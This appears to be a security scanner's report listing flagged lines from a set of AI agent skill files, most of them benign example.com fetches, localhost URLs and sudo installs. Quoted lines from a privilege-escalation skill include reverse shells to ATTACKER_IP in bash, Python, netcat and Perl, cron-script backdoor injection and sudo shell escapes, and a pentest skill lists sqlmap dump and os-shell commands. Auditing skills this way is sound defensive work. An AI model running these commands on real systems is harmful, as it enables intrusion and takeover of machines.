  • Network accessline 38
    # JSON-only output (for programmatic parsing) python3 scripts/http_benchmark.py https://example.com/api/health --json
  • Network accessline 39
    python3 scripts/http_benchmark.py https://example.com/api/health --json
  • Network accessline 41
    # Use ab with a specific number of requests per step python3 scripts/http_benchmark.py https://example.com/ -t ab -n 5000
  • Network accessline 42
    python3 scripts/http_benchmark.py https://example.com/ -t ab -n 5000
  • Network accessline 44
    # Save JSON report to a file python3 scripts/http_benchmark.py https://example.com/api/health --json > report.json
  • Network accessline 45
    python3 scripts/http_benchmark.py https://example.com/api/health --json > report.json
  • Network accessline 50
    | Parameter | Short | Default | Description | |-----------|-------|---------|-------------| | `url` | — | (required) | Target URL (http:// or https://) |
  • Network accessline 51
    |-----------|-------|---------|-------------| | `url` | — | (required) | Target URL (http:// or https://) | | `--steps` | `-s` | `1,10,50,100,200,500` | Concurrency steps (comma-separated positive integers) |
  • Network accessline 52
    | `url` | — | (required) | Target URL (http:// or https://) |
  • Network accessline 65
    Tool: wrk Target URL: https://example.com/api/health
  • Network accessline 66
    Target URL: https://example.com/api/health
  • Network accessline 94
    {   "url": "https://example.com/api/health",
  • Network accessline 95
    "url": "https://example.com/api/health",
  • Dangerous shell operationline 127
    sudo apt-get install wrk          # recommended
  • Dangerous shell operationline 128
    sudo apt-get install apache2-utils # ab

skills/http-load-profiler/scripts/http_benchmark.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 330
    description="HTTP 阶梯式并发压测工具 — 封装 ab/wrk + p50/p90/p99 + 拐点分析",     )     parser.add_argument("url", help="目标 URL(http:// 或 https://)")
  • Network accessline 331
    )     parser.add_argument("url", help="目标 URL(http:// 或 https://)")     parser.add_argument(
  • Network accessline 332
    parser.add_argument("url", help="目标 URL(http:// 或 https://)")
  • Dangerous shell operationline 387
    "  Ubuntu/Debian: sudo apt-get install wrk  或  sudo apt-get install apache2-utils\n"

skills/linux-privilege-escalation/SKILL.md

  • Dangerous shell operationline 3
    description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate L
  • Dangerous shell operationline 13
    Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This ski
  • Network accessline 32
    - GTFOBins reference for binary exploitation - John the Ripper or Hashcat for password cracking - Netcat or similar for reverse shells
  • Network accessline 34
    - Netcat or similar for reverse shells
  • Network accessline 143
    # LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 144
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 144
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 162
    # On target machine wget http://ATTACKER_IP:8000/linpeas.sh
  • Network accessline 163
    wget http://ATTACKER_IP:8000/linpeas.sh
  • Network accessline 198
    # Transfer exploit source wget http://ATTACKER_IP/exploit.c
  • Network accessline 199
    wget http://ATTACKER_IP/exploit.c
  • Dangerous shell operationline 208
    ### Phase 4: Sudo Exploitation
  • Dangerous shell operationline 210
    #### Enumerate Sudo Privileges
  • Dangerous shell operationline 213
    sudo -l
  • Dangerous shell operationline 216
    #### GTFOBins Sudo Exploitation
  • Network accessline 216
    #### GTFOBins Sudo Exploitation Reference https://gtfobins.github.io for exploitation commands:
  • Network accessline 217
    Reference https://gtfobins.github.io for exploitation commands:
  • Dangerous shell operationline 221
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 224
    sudo find . -exec /bin/sh \; -quit
  • Dangerous shell operationline 227
    sudo awk 'BEGIN {system("/bin/bash")}'
  • Dangerous shell operationline 230
    sudo python -c 'import os; os.system("/bin/bash")'
  • Dangerous shell operationline 233
    sudo less /etc/passwd
  • Dangerous shell operationline 259
    sudo LD_PRELOAD=/tmp/shell.so find
  • Network accessline 352
    # Identify writable cron script from /etc/crontab ls -la /opt/backup.sh        # Check permissions echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Dangerous shell operationline 354
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Network accessline 354
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Network accessline 356
    # If cron references non-existent script in writable PATH echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Dangerous shell operationline 357
    echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Network accessline 357
    echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Dangerous shell operationline 400
    | Sudo rights | `sudo -l` |
  • Network accessline 409
    # Bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Dangerous shell operationline 410
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 410
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 412
    # Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
  • Network accessline 413
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
  • Network accessline 415
    # Netcat nc -e /bin/bash ATTACKER_IP 4444
  • Dangerous shell operationline 416
    nc -e /bin/bash ATTACKER_IP 4444
  • Network accessline 416
    nc -e /bin/bash ATTACKER_IP 4444
  • Dangerous shell operationline 419
    perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
  • Network accessline 422
    ### Key Resources - GTFOBins: https://gtfobins.github.io
  • Network accessline 423
    - GTFOBins: https://gtfobins.github.io
  • Network accessline 424
    - LinPEAS: https://github.com/carlospolop/PEASS-ng
  • Network accessline 425
    - Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
  • Dangerous shell operationline 439
    - Hardened systems may have restricted sudo configurations
  • Dangerous shell operationline 449
    ### Example 1: Sudo to Root via find
  • Dangerous shell operationline 451
    **Scenario**: User has sudo rights for find command
  • Dangerous shell operationline 454
    $ sudo -l
  • Dangerous shell operationline 458
    $ sudo find . -exec /bin/bash \; -quit

skills/linux-shell-scripting/SKILL.md

  • Dangerous shell operationline 69
    rm -r "$backup_dir/$oldest_backup"
  • Network accessline 288
    #!/bin/bash websites=("https://google.com" "https://github.com")
  • Network accessline 289
    websites=("https://google.com" "https://github.com")
  • Network accessline 294
    for website in "${websites[@]}"; do     if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then
  • Network accessline 295
    if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then
  • Dangerous shell operationline 329
    sudo apt-get install -y "$package"
  • Dangerous shell operationline 356
    sudo systemctl restart "$service_name"
  • Dangerous shell operationline 360
    sudo systemctl start "$service_name"
  • Dangerous shell operationline 387
    find "$directory" -type f -mtime +"$days" -exec rm -v {} \;
  • Dangerous shell operationline 503
    - Many scripts require root/sudo privileges

skills/localization-toolkit/scripts/i18n_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/log-error-digest/scripts/analyze_logs.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/metasploit-framework/SKILL.md

  • Network accessline 19
    # Metasploit comes pre-installed on Kali Linux # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Network accessline 20
    # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall
  • Network accessline 21
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  • Dangerous shell operationline 26
    sudo systemctl start postgresql
  • Dangerous shell operationline 27
    sudo msfdb init
  • Dangerous shell operationline 475
    | Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |

skills/network-101/SKILL.md

  • Dangerous shell operationline 47
    sudo apt update && sudo apt install apache2
  • Dangerous shell operationline 50
    sudo systemctl start apache2
  • Dangerous shell operationline 51
    sudo systemctl enable apache2
  • Dangerous shell operationline 54
    echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html
  • Network accessline 56
    # Verify service curl http://localhost
  • Network accessline 57
    curl http://localhost
  • Dangerous shell operationline 64
    sudo ufw allow 80/tcp
  • Dangerous shell operationline 78
    sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  • Dangerous shell operationline 83
    sudo a2enmod ssl
  • Dangerous shell operationline 84
    sudo systemctl restart apache2
  • Dangerous shell operationline 91
    sudo nano /etc/apache2/sites-available/default-ssl.conf
  • Dangerous shell operationline 94
    sudo a2ensite default-ssl
  • Dangerous shell operationline 95
    sudo systemctl reload apache2
  • Network accessline 107
    # Check certificate curl -kv https://192.168.1.1
  • Network accessline 108
    curl -kv https://192.168.1.1
  • Dangerous shell operationline 119
    sudo apt install snmpd snmp
  • Dangerous shell operationline 122
    sudo nano /etc/snmp/snmpd.conf
  • Dangerous shell operationline 129
    sudo systemctl restart snmpd
  • Dangerous shell operationline 170
    sudo apt install samba
  • Dangerous shell operationline 173
    sudo mkdir -p /srv/samba/share
  • Dangerous shell operationline 174
    sudo chmod 777 /srv/samba/share
  • Dangerous shell operationline 177
    sudo nano /etc/samba/smb.conf
  • Dangerous shell operationline 187
    sudo systemctl restart smbd
  • Dangerous shell operationline 217
    sudo tail -f /var/log/apache2/access.log
  • Dangerous shell operationline 220
    sudo tail -f /var/log/apache2/error.log
  • Network accessline 251
    # Check HTTP curl -I http://target
  • Network accessline 252
    curl -I http://target
  • Network accessline 254
    # Check HTTPS curl -kI https://target
  • Network accessline 255
    curl -kI https://target
  • Dangerous shell operationline 289
    sudo apt install apache2
  • Dangerous shell operationline 290
    sudo systemctl start apache2
  • Dangerous shell operationline 293
    cat << 'EOF' | sudo tee /var/www/html/login.html
  • Dangerous shell operationline 306
    sudo ufw allow 80/tcp
  • Dangerous shell operationline 313
    sudo apt install snmpd
  • Dangerous shell operationline 314
    echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf
  • Dangerous shell operationline 315
    sudo systemctl restart snmpd
  • Dangerous shell operationline 325
    sudo apt install samba
  • Dangerous shell operationline 326
    sudo mkdir /srv/samba/anonymous
  • Dangerous shell operationline 327
    sudo chmod 777 /srv/samba/anonymous

skills/nextjs-developer/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   version: "1.0.0"
  • Network accessline 6
    author: https://github.com/Jeffallan

skills/nextjs-developer/references/app-router.md

  • Network accessline 212
    // Generate static params at build time export async function generateStaticParams() {   const posts = await fetch("https://api.example.com/posts").then((res) => res.json())
  • Network accessline 214
    const posts = await fetch("https://api.example.com/posts").then((res) => res.json())

skills/nextjs-developer/references/data-fetching.md

  • Network accessline 8
    // app/page.tsx async function getData() {   const res = await fetch("https://api.example.com/posts", {
  • Network accessline 9
    async function getData() {   const res = await fetch("https://api.example.com/posts", {     cache: "force-cache", // Default: cache forever (SSG)
  • Network accessline 10
    const res = await fetch("https://api.example.com/posts", {
  • Network accessline 30
    // 1. Force cache (Static Site Generation) fetch("https://api.example.com/data", {
  • Network accessline 31
    fetch("https://api.example.com/data", {
  • Network accessline 35
    // 2. No cache (Server-Side Rendering) fetch("https://api.example.com/data", {
  • Network accessline 36
    fetch("https://api.example.com/data", {
  • Network accessline 40
    // 3. Revalidate (Incremental Static Regeneration) fetch("https://api.example.com/data", {
  • Network accessline 41
    fetch("https://api.example.com/data", {
  • Network accessline 45
    // 4. Revalidate with tags fetch("https://api.example.com/data", {
  • Network accessline 46
    fetch("https://api.example.com/data", {
  • Network accessline 56
    // Revalidate every 60 seconds async function getPosts() {   const res = await fetch("https://api.example.com/posts", {
  • Network accessline 57
    async function getPosts() {   const res = await fetch("https://api.example.com/posts", {     next: { revalidate: 60 },
  • Network accessline 58
    const res = await fetch("https://api.example.com/posts", {
  • Network accessline 110
    // Fetch with tags async function getPosts() {   const res = await fetch("https://api.example.com/posts", {
  • Network accessline 111
    async function getPosts() {   const res = await fetch("https://api.example.com/posts", {     next: { tags: ["posts"] },
  • Network accessline 112
    const res = await fetch("https://api.example.com/posts", {
  • Network accessline 118
    async function getAuthors() {   const res = await fetch("https://api.example.com/authors", {
  • Network accessline 119
    const res = await fetch("https://api.example.com/authors", {
  • Network accessline 162
    async function getUser() {   return fetch("https://api.example.com/user")
  • Network accessline 163
    return fetch("https://api.example.com/user")
  • Network accessline 166
    async function getPosts() {   return fetch("https://api.example.com/posts")
  • Network accessline 167
    return fetch("https://api.example.com/posts")
  • Network accessline 170
    async function getComments() {   return fetch("https://api.example.com/comments")
  • Network accessline 171
    return fetch("https://api.example.com/comments")
  • Network accessline 192
    export default async function Page({ params }: { params: { id: string } }) {   // First fetch   const user = await fetch(`https://api.example.com/users/${params.id}`).then((res) => res.json())
  • Network accessline 194
    const user = await fetch(`https://api.example.com/users/${params.id}`).then((res) => res.json())
  • Network accessline 196
    // Second fetch depends on first   const posts = await fetch(`https://api.example.com/users/${user.id}/posts`).then((res) =>
  • Network accessline 197
    const posts = await fetch(`https://api.example.com/users/${user.id}/posts`).then((res) =>
  • Network accessline 216
    async function Posts() {   const posts = await fetch("https://api.example.com/posts", {
  • Network accessline 217
    const posts = await fetch("https://api.example.com/posts", {
  • Network accessline 248
    export const getUser = cache(async (id: string) => {   const res = await fetch(`https://api.example.com/users/${id}`)
  • Network accessline 249
    const res = await fetch(`https://api.example.com/users/${id}`)
  • Network accessline 315
    async function getData() {   const res = await fetch("https://api.example.com/data")
  • Network accessline 316
    const res = await fetch("https://api.example.com/data")
  • Network accessline 358
    // app/posts/page.tsx export default async function PostsPage() {   const posts = await fetch("https://api.example.com/posts").then((res) => res.json())
  • Network accessline 360
    const posts = await fetch("https://api.example.com/posts").then((res) => res.json())
  • Network accessline 374
    const fetcher = (url: string) => fetch(url).then((res) => res.json())
  • Network accessline 404
    export const getUser = cache(async (id: string) => {   return fetch(`https://api.example.com/users/${id}`).then((res) => res.json())
  • Network accessline 405
    return fetch(`https://api.example.com/users/${id}`).then((res) => res.json())
  • Network accessline 436
    export async function generateStaticParams() {   const posts = await fetch("https://api.example.com/posts").then((res) => res.json())
  • Network accessline 437
    const posts = await fetch("https://api.example.com/posts").then((res) => res.json())
  • Network accessline 444
    export default async function Post({ params }: { params: { slug: string } }) {   const post = await fetch(`https://api.example.com/posts/${params.slug}`).then((res) => res.json())
  • Network accessline 445
    const post = await fetch(`https://api.example.com/posts/${params.slug}`).then((res) => res.json())

skills/nextjs-developer/references/deployment.md

  • Network accessline 27
    "env": {     "DATABASE_URL": "@database-url",     "NEXT_PUBLIC_API_URL": "https://api.example.com"
  • Network accessline 28
    "DATABASE_URL": "@database-url",     "NEXT_PUBLIC_API_URL": "https://api.example.com"   },
  • Network accessline 29
    "NEXT_PUBLIC_API_URL": "https://api.example.com"
  • Network accessline 48
    {       "source": "/api/:path*",       "destination": "https://api.example.com/:path*"
  • Network accessline 49
    "source": "/api/:path*",       "destination": "https://api.example.com/:path*"     }
  • Network accessline 50
    "destination": "https://api.example.com/:path*"
  • Network accessline 63
    # .env.production (committed, public vars only) NEXT_PUBLIC_API_URL="https://api.example.com"
  • Network accessline 64
    NEXT_PUBLIC_API_URL="https://api.example.com"
  • Network accessline 177
    environment:       - DATABASE_URL=postgresql://postgres:postgres@db:5432/myapp       - NEXTAUTH_URL=http://localhost:3000
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    - NEXTAUTH_URL=http://localhost:3000
  • Network accessline 333
    // next.config.js const nextConfig = {   assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "",
  • Network accessline 334
    const nextConfig = {   assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "", }
  • Network accessline 335
    assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "",
  • Access to secretsline 386
    [Credential-related source omitted]

skills/nextjs-developer/references/server-components.md

  • Network accessline 144
    // app/dashboard/page.tsx async function getUser() {   return fetch("https://api.example.com/user")
  • Network accessline 145
    async function getUser() {   return fetch("https://api.example.com/user") }
  • Network accessline 146
    return fetch("https://api.example.com/user")
  • Network accessline 149
    async function getPosts() {   return fetch("https://api.example.com/posts")
  • Network accessline 150
    return fetch("https://api.example.com/posts")
  • Network accessline 169
    // app/artist/[id]/page.tsx async function getArtist(id: string) {   return fetch(`https://api.example.com/artists/${id}`)
  • Network accessline 170
    async function getArtist(id: string) {   return fetch(`https://api.example.com/artists/${id}`) }
  • Network accessline 171
    return fetch(`https://api.example.com/artists/${id}`)
  • Network accessline 174
    async function getAlbums(artistId: string) {   return fetch(`https://api.example.com/artists/${artistId}/albums`)
  • Network accessline 175
    return fetch(`https://api.example.com/artists/${artistId}/albums`)

skills/pentest-checklist/SKILL.md

  • Network accessline 111
    # Web vulnerability scan nikto -h http://TARGET
  • Network accessline 112
    nikto -h http://TARGET
  • Network accessline 127
    **Cloud Provider Policies:** - AWS: https://aws.amazon.com/security/penetration-testing/
  • Network accessline 128
    - AWS: https://aws.amazon.com/security/penetration-testing/
  • Network accessline 129
    - Azure: https://docs.microsoft.com/security/pentest
  • Network accessline 130
    - GCP: https://cloud.google.com/security/overview
  • Dangerous shell operationline 319
    sudo systemctl restart rsyslog
  • Dangerous shell operationline 320
    sudo systemctl restart auditd

skills/pentest-commands/SKILL.md

  • Network accessline 239
    # Basic scan nikto -h http://192.168.1.1
  • Network accessline 240
    nikto -h http://192.168.1.1
  • Network accessline 242
    # Comprehensive scan nikto -h http://192.168.1.1 -C all
  • Network accessline 243
    nikto -h http://192.168.1.1 -C all
  • Network accessline 245
    # Output to file nikto -h http://192.168.1.1 -output report.html
  • Network accessline 246
    nikto -h http://192.168.1.1 -output report.html
  • Network accessline 248
    # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots
  • Network accessline 249
    nikto -h http://192.168.1.1 -Plugins robots
  • Network accessline 250
    nikto -h http://192.168.1.1 -Plugins shellshock
  • Network accessline 251
    nikto -h http://192.168.1.1 -Plugins heartbleed
  • Network accessline 252
    nikto -h http://192.168.1.1 -Plugins ssl
  • Network accessline 254
    # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+
  • Network accessline 255
    nikto -h http://192.168.1.1 -Format msf+
  • Network accessline 257
    # Specific tuning nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
  • Network accessline 258
    nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
  • Network accessline 264
    # Basic injection test sqlmap -u "http://192.168.1.1/page?id=1"
  • Network accessline 265
    sqlmap -u "http://192.168.1.1/page?id=1"
  • Network accessline 267
    # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs
  • Network accessline 268
    sqlmap -u "http://192.168.1.1/page?id=1" --dbs
  • Network accessline 270
    # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
  • Network accessline 271
    sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
  • Network accessline 273
    # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
  • Network accessline 274
    sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
  • Network accessline 276
    # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
  • Network accessline 277
    sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
  • Network accessline 279
    # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
  • Network accessline 280
    sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
  • Network accessline 282
    # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
  • Network accessline 283
    sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
  • Network accessline 285
    # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
  • Network accessline 286
    sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
  • Network accessline 288
    # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
  • Network accessline 289
    sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
  • Network accessline 428
    nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs

skills/pipeline-blueprint/SKILL.md

  • Network accessline 344
    with:           node-version: 20           registry-url: https://registry.npmjs.org
  • Network accessline 345
    node-version: 20           registry-url: https://registry.npmjs.org           cache: npm
  • Network accessline 346
    registry-url: https://registry.npmjs.org
  • Access to secretsline 353
    [Credential-related source omitted]
  • Access to secretsline 383
    [Credential-related source omitted]

skills/playwright/ci/ci-github-actions.md

  • Access to secretsline 367
    [Credential-related source omitted]

skills/playwright/ci/ci-gitlab.md

  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]

skills/playwright/ci/docker-and-containers.md

  • Network accessline 36
    docker run --rm    -v $(pwd):/app    -w /app    -e CI=true    -e BASE_URL=http://host.docker.internal:3000
  • Network accessline 38
    -w /app \   -e CI=true \   -e BASE_URL=http://host.docker.internal:3000 \
  • Network accessline 39
    -e CI=true \   -e BASE_URL=http://host.docker.internal:3000 \   mcr.microsoft.com/playwright:v1.52.0-noble \
  • Network accessline 40
    -e BASE_URL=http://host.docker.internal:3000 \
  • Network accessline 155
    environment:       - CI=true       - BASE_URL=http://app:3000
  • Network accessline 156
    - CI=true       - BASE_URL=http://app:3000     depends_on:
  • Network accessline 157
    - BASE_URL=http://app:3000
  • Dangerous shell operationline 203
    docker rm e2e-run
  • Network accessline 361
    export default defineConfig({   use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 362
    use: {     baseURL: process.env.BASE_URL || "http://localhost:3000",   },
  • Network accessline 363
    baseURL: process.env.BASE_URL || "http://localhost:3000",
  • Network accessline 369
    webServer: {           command: "npm run dev",           url: "http://localhost:3000",
  • Network accessline 370
    command: "npm run dev",           url: "http://localhost:3000",           reuseExistingServer: true,
  • Network accessline 371
    url: "http://localhost:3000",
  • Network accessline 380
    e2e:   environment:     - BASE_URL=http://app:3000 # "app" is the service name
  • Network accessline 382
    - BASE_URL=http://app:3000 # "app" is the service name

skills/playwright/ci/global-setup-teardown.md

  • Network accessline 84
    async function globalSetup(config: FullConfig) {   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 85
    const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 91
    for (let i = 0; i < maxRetries; i++) {     try {       const response = await fetch(`${baseURL}/api/health`)
  • Network accessline 92
    try {       const response = await fetch(`${baseURL}/api/health`)       if (response.ok) {
  • Network accessline 93
    const response = await fetch(`${baseURL}/api/health`)
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 122
    async function globalSetup(config: FullConfig) {   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 123
    const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 125
    // Authenticate via API (no browser needed)   const response = await fetch(`${baseURL}/api/auth/login`, {
  • Network accessline 126
    const response = await fetch(`${baseURL}/api/auth/login`, {
  • Access to secretsline 150
    [Credential-related source omitted]
  • Network accessline 219
    async function globalSetup(config: FullConfig) {   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 220
    const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 222
    // Create test data via API   const res = await fetch(`${baseURL}/api/test/seed`, { method: "POST" })
  • Network accessline 223
    const res = await fetch(`${baseURL}/api/test/seed`, { method: "POST" })
  • Network accessline 332
    const server = await createServer()   const port = await server.listen(0)   process.env.MOCK_API_URL = `http://localhost:${port}`
  • Network accessline 334
    process.env.MOCK_API_URL = `http://localhost:${port}`
  • Network accessline 336
    // Configure feature flags for test environment   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"   await fetch(`${baseURL}/api/admin/feature-flags`, {
  • Network accessline 337
    const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"   await fetch(`${baseURL}/api/admin/feature-flags`, {     method: "PUT",
  • Network accessline 338
    await fetch(`${baseURL}/api/admin/feature-flags`, {
  • Access to secretsline 342
    [Credential-related source omitted]
  • Network accessline 362
    async function globalTeardown(config: FullConfig) {   // Reset feature flags   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"
  • Network accessline 363
    // Reset feature flags   const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"   await fetch(`${baseURL}/api/admin/feature-flags/reset`, {
  • Network accessline 364
    const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000"   await fetch(`${baseURL}/api/admin/feature-flags/reset`, {     method: "POST",
  • Network accessline 365
    await fetch(`${baseURL}/api/admin/feature-flags/reset`, {
  • Access to secretsline 367
    [Credential-related source omitted]

skills/playwright/ci/parallel-and-sharding.md

  • Network accessline 175
    async ({}, use, workerInfo) => {       // Each worker gets a unique user to avoid test interference       const response = await fetch(`${process.env.API_URL}/auth/token`, {
  • Network accessline 176
    // Each worker gets a unique user to avoid test interference       const response = await fetch(`${process.env.API_URL}/auth/token`, {         method: "POST",
  • Network accessline 177
    const response = await fetch(`${process.env.API_URL}/auth/token`, {

skills/playwright/ci/projects-and-dependencies.md

  • Network accessline 288
    const envConfig: Record<string, { baseURL: string; retries: number }> = {   local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 289
    local: { baseURL: "http://localhost:3000", retries: 0 },
  • Network accessline 290
    staging: { baseURL: "https://staging.example.com", retries: 2 },
  • Network accessline 291
    production: { baseURL: "https://www.example.com", retries: 2 },
  • Network accessline 359
    testMatch: "**/*.spec.ts",       use: {         baseURL: "https://api.example.com",
  • Network accessline 360
    use: {         baseURL: "https://api.example.com",       },
  • Network accessline 361
    baseURL: "https://api.example.com",
  • Access to secretsline 429
    [Credential-related source omitted]

skills/playwright/ci/reporting-and-artifacts.md

  • Network accessline 154
    const webhookUrl = process.env.SLACK_WEBHOOK_URL     if (webhookUrl) {       await fetch(webhookUrl, {
  • Network accessline 155
    if (webhookUrl) {       await fetch(webhookUrl, {         method: "POST",
  • Network accessline 156
    await fetch(webhookUrl, {
  • Network accessline 217
    # Online trace viewer (upload trace.zip) # https://trace.playwright.dev
  • Network accessline 218
    # https://trace.playwright.dev

skills/playwright/core/angular.md

  • Network accessline 21
    # Generate tests with codegen npx playwright codegen http://localhost:4200
  • Network accessline 22
    npx playwright codegen http://localhost:4200
  • Network accessline 43
    use: {     baseURL: "http://localhost:4200",
  • Network accessline 44
    baseURL: "http://localhost:4200",
  • Network accessline 66
    ? "npx ng build && npx http-server dist/your-app/browser -p 4200 -s"       : "npx ng serve",     url: "http://localhost:4200",
  • Network accessline 67
    : "npx ng serve",     url: "http://localhost:4200",     reuseExistingServer: !process.env.CI,
  • Network accessline 68
    url: "http://localhost:4200",
  • Network accessline 89
    use: {     baseURL: "http://localhost:4200",
  • Network accessline 90
    baseURL: "http://localhost:4200",
  • Network accessline 112
    ? "npx ng build && npx http-server dist/your-app/browser -p 4200 -s"       : "npx ng serve",     url: "http://localhost:4200",
  • Network accessline 113
    : "npx ng serve",     url: "http://localhost:4200",     reuseExistingServer: !process.env.CI,
  • Network accessline 114
    url: "http://localhost:4200",
  • Network accessline 163
    ? 'npx ng build --configuration=production && npx http-server dist/your-app/browser -p 4200 -s'     : 'npx ng serve --configuration=development',   url: 'http://localhost:4200',
  • Network accessline 164
    : 'npx ng serve --configuration=development',   url: 'http://localhost:4200',   reuseExistingServer: !process.env.CI,
  • Network accessline 165
    url: 'http://localhost:4200',
  • Network accessline 167
    timeout: 120_000,   env: {     NG_APP_API_URL: 'http://localhost:4200/api',
  • Network accessline 168
    env: {     NG_APP_API_URL: 'http://localhost:4200/api',   },
  • Network accessline 169
    NG_APP_API_URL: 'http://localhost:4200/api',
  • Network accessline 1055
    ? 'npx ng build --ssr && node dist/your-app/server/server.mjs'     : 'npx ng serve --ssr',   url: 'http://localhost:4200',
  • Network accessline 1056
    : 'npx ng serve --ssr',   url: 'http://localhost:4200',   reuseExistingServer: !process.env.CI,
  • Network accessline 1057
    url: 'http://localhost:4200',

skills/playwright/core/api-testing.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 277
    testDir: "./tests/api",       use: {         baseURL: "https://api.example.com",
  • Network accessline 278
    use: {         baseURL: "https://api.example.com",         extraHTTPHeaders: {
  • Network accessline 279
    baseURL: "https://api.example.com",
  • Network accessline 287
    testDir: "./tests/e2e",       use: {         baseURL: "https://app.example.com",
  • Network accessline 288
    use: {         baseURL: "https://app.example.com",         browserName: "chromium",
  • Network accessline 289
    baseURL: "https://app.example.com",
  • Network accessline 315
